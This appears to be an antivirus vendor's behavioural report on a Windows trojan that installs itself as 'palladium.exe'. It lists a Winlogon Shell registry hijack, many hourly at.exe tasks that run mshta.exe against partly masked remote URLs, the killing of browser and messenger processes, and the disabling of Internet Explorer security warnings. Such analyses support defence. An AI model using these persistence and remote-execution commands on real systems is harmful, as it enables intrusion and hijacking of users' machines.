Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '%APPDATA%\palladium.exe'
Malicious functions:
Creates and executes the following:
- %TEMP%\jh.exe abs_03
Executes the following:
- <SYSTEM32>\at.exe 14:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 15:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 16:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 11:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 12:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 13:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 17:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 21:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 22:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 23:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 18:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 19:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 20:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 01:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 02:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 03:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\mshta.exe http://re###ury.com/inst.php?id################
- <SYSTEM32>\cmd.exe /c ""%APPDATA%\asdfasfas.bat" "
- <SYSTEM32>\at.exe 00:17
- <SYSTEM32>\at.exe 04:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 08:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 09:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 10:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 05:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 06:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
- <SYSTEM32>\at.exe 07:17 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###zebra.com/asfhkuiyafq.php?as##########
Terminates or attempts to terminate
the following user processes:
- skype.exe
- iexplore.exe
- opera.exe
- YahooMessenger.exe
- msnmsgr.exe
- msn6.exe
- firefox.exe
- chrome.exe
Modifies settings of Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnZoneCrossing' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPostRedirect' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPost' = '00000000'
Modifies file system :
Creates the following files:
- %APPDATA%\palladium.exe
- %APPDATA%\uid_pal
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\inst[1].php
- %APPDATA%\asdfasfas.bat
- %TEMP%\a.txt
- %TEMP%\opa
- %TEMP%\jh.exe
- %TEMP%\c.txt
Deletes the following files:
- %TEMP%\jh.exe
- %TEMP%\c.txt
- %TEMP%\a.txt
Network activity:
Connects to:
- 're###ury.com':80
- 'localhost':1035
TCP:
HTTP GET requests:
- re###ury.com/inst.php?id################
UDP:
- DNS ASK re###ury.com
- '<Private IP address>':1036
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'MS_WINHELP' WindowName: ''
